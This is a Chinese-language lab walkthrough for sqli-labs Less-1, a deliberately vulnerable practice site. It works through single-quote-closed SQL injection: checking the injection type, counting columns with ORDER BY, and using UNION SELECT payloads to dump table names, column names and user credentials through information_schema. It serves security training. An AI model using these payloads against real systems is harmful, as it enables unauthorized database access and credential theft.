sql-labs靶场 less-1
文章目录
- sqli-labs靶场
- less 1 联合注入
sqli-labs靶场
每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。
sql注入的基本步骤
- 注入点
- 注入类型
- 字符型:判断闭合方式 (‘、"、’'、“”)
- 数字型
- 根据实际情况,选择合适的注入方式
- 获取数据库名,表名,列名,数据
less 1 联合注入
- 题目类型: 字符型 '(单引号) 闭合
- 先判断注入类型
id=1
回显正常
id=1/0
回显内容和 id=1 一样,说明1/0没报错,不是数字型注入,那就是字符型 (或者用id=1与id=2-1 / id=2/2)
- 判断闭合方式
已知是字符型注入
id=1’
sql语法报错,说明大概率是单引号闭合
id=1’ ’
回显正常
id=1’ ’ ’
sql语法报错
id=1’ ’ ’ ’
4个单引号,回显正常,呈规律性变化,说明闭合方式是单引号
- 数据有回显,可利用联合注入,需判断字段数,回显位
id=1’ order by 4 --+
报错:表中没有列名为‘4’的字段 (说明不存在第4列)
为什么使用order by判断字段数? 因为order by的作用是对某一列排序,如果报错,说明不存在此列
例如(id,username,password)
order by username 等同于 order by 2 (表示对第二列字段名为username排序 )
id=1’ order by 3 --+
回显正常,说明该表的字段数为3列 (因为第4列不存在,所以该表的字段数为3)
- 使用联合注入,需判断回显位
id=1’ union select 1,2,3–+
为什么没有回显1,2,3?
id=-1’ union select 1,2,3–+
联合注入后,返回的结果有多行,但是该页面只回显第一行,所以id = -1 让第一行数据不存在,变向把原本处于第二行的数据移动到第一行 (或者 id=’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+ )
并且可以看到回显位是第2,3列
id=’ union select 1,database(),user()–+
猜解数据库名
- 初始化安装mysql数据库后, 会默认创建4个系统数据库:
id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“security” --+
通过系统数据库information_schema猜解表名
id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” --+
猜解字段名
id=-1’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+
爆出数据